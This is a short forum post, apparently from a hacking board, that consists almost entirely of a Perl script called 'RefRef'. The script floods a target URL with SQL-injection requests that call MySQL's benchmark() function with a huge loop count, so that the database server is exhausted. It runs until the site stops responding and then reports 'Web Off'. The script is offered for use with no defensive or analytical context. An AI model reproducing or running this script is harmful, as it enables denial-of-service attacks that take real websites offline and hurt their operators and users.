0 Members and 1 Guest are viewing this topic.
use LWP::UserAgent; my $nave = LWP::UserAgent->new;$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");$nave->timeout(5); head();if($ARGV[0]) {now($ARGV[0]);} else {sintax();}copyright(); sub now {print "\n[+] Target : ".$_[0]."\n";print "\n[+] Starting the attack\n[+] Info : control+c for stop attack\n\n";while(true) {$SIG{INT} = \&adios;$code = toma($_[0]." and (select+benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f))");unless($code->is_success) {print "[+] Web Off\n";copyright();}}} sub adios {print "\n[+] Stoping attack\n";copyright();} sub head {print "\n\n-- == #RefRef [url=http://hackingalert.blogspot.com]http://hackingalert.blogspot.com[/url] == --\n\n";} sub copyright {print "\n\n-- == RefRef [url=http://hackingalert.blogspot.com]http://hackingalert.blogspot.com[/url] == --\n\n";exit(1);} sub sintax {print "\n[+] Sintax : $0 \n";} sub toma {return $nave->get($_[0]);} # ¿ The End ?
tags in future.